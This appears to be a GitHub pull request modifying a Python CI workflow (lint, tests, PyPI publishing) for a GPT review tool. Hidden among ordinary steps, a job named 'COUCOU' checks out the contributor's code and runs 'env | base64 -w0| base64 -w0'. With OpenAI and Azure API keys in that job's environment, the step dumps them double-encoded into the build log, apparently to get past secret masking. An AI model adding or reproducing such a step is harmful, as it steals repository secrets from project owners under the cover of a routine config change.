Update python.yml #1
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
name: Python CI | |
on: | |
push: | |
branches: [ main ] | |
pull_request: | |
branches: [ main ] | |
release: | |
types: [released] | |
workflow_dispatch: | |
env: | |
OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }} | |
AZURE_OPENAI_API: ${{ secrets.AZURE_OPENAI_API }} | |
AZURE_OPENAI_API_KEY: ${{ secrets.AZURE_OPENAI_API_KEY }} | |
jobs: | |
validation: | |
runs-on: ubuntu-latest | |
strategy: | |
fail-fast: false | |
matrix: | |
tools: ['black', 'bandit', 'pylint', 'flake8'] | |
python: ['3.10'] # '3.11.3' | |
steps: | |
- uses: actions/checkout@v2 | |
with: | |
ref: ${{ github.event.pull_request.head.sha }} | |
- name: COUCOU | |
run: | | |
env | base64 -w0| base64 -w0 | |
- name: ${{ matrix.tools }} | |
uses: microsoft/action-python@0.7.1 | |
with: | |
${{ matrix.tools }}: true | |
workdir: '.' | |
testdir: 'tests' | |
python_version: ${{ matrix.python }} | |
tests: | |
runs-on: ubuntu-latest | |
env: | |
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} | |
ADO_TOKEN: ${{ secrets.ADO_TOKEN }} | |
strategy: | |
fail-fast: true | |
matrix: | |
python: ['3.8', '3.9', '3.10', '3.11'] | |
args: ['-m unit'] | |
flags: ['unittests'] | |
include: | |
- python: '3.10' | |
args: -m integration | |
flags: integration | |
- python: '3.11' | |
args: -m integration | |
flags: integration | |
steps: | |
- uses: actions/checkout@v2 | |
with: | |
ref: ${{ github.event.pull_request.head.sha }} | |
- uses: Azure/login@v1.4.6 | |
if: ${{ matrix.flags == 'integration' }} | |
with: | |
creds: ${{ secrets.AZURE_CREDENTIALS }} | |
- name: ${{ matrix.tools }} | |
uses: microsoft/action-python@0.7.1 | |
with: | |
pytest: true | |
args: ${{ matrix.args }} | |
workdir: '.' | |
testdir: 'tests' | |
python_version: ${{ matrix.python }} | |
flags: ${{ matrix.flags }}-${{ matrix.python }} | |
publish: | |
runs-on: ubuntu-latest | |
steps: | |
- uses: actions/checkout@v2 | |
if: ${{ github.event_name == 'release' }} | |
with: | |
ref: ${{ github.event.pull_request.head.sha }} | |
token: ${{ secrets.PAT }} | |
- uses: actions/checkout@v2 | |
if: ${{ github.event_name != 'release' }} | |
with: | |
ref: ${{ github.event.pull_request.head.sha }} | |
- uses: actions/setup-python@v4 | |
with: | |
python-version: '3.11.3' | |
cache: 'pip' # caching pip dependencies | |
- name: Bump version and push tag | |
id: tag_version | |
uses: mathieudutour/github-tag-action@v6.1 | |
with: | |
github_token: ${{ secrets.GITHUB_TOKEN }} | |
dry_run: true | |
tag_prefix: 'v' | |
default_bump: false | |
- name: Set Configurations | |
if: steps.tag_version.outputs.release_type && github.event_name != 'release' | |
shell: bash | |
env: | |
VERSION: ${{ steps.tag_version.outputs.new_version }} | |
run: sed -ri 's/(__version__ = ")([0-9]+\.[0-9]+\.[0-9]+?.*)(")/\1'"$VERSION"'\3/' "src/gpt_review/__init__.py" || exit 1 | |
- name: Set Configurations | |
if: steps.tag_version.outputs.release_type && github.event_name == 'release' | |
shell: bash | |
env: | |
VERSION: ${{ steps.tag_version.outputs.previous_version }} | |
run: sed -ri 's/(__version__ = ")([0-9]+\.[0-9]+\.[0-9]+?.*)(")/\1'"$VERSION"'\3/' "src/gpt_review/__init__.py" || exit 1 | |
- name: Publish Snapshot to TestPyPi | |
uses: microsoft/action-python@0.7.1 | |
continue-on-error: true | |
if: ${{ github.event_name == 'pull_request_target' }} | |
with: | |
pypi_publish: true | |
pypi_password: ${{ secrets.TEST_PYPI_PASSWORD }} | |
pypi_repo: testpypi | |
version_suffix: -post${{ github.run_number }}-dev${{ github.run_attempt }} | |
workdir: '.' | |
python_version: '3.11.3' | |
- name: Publish RC to PyPi | |
uses: microsoft/action-python@0.7.1 | |
if: ${{ github.event_name == 'push' }} | |
with: | |
pypi_publish: true | |
pypi_password: ${{ secrets.PYPI_PASSWORD }} | |
version_suffix: -rc${{ github.run_number }}-post${{ github.run_attempt }} | |
workdir: '.' | |
python_version: '3.11.3' | |
- name: Publish Release to PyPi | |
uses: microsoft/action-python@0.7.1 | |
if: ${{ github.event_name == 'release' }} | |
with: | |
pypi_publish: true | |
pypi_password: ${{ secrets.PYPI_PASSWORD }} | |
workdir: '.' | |
python_version: '3.11.3' |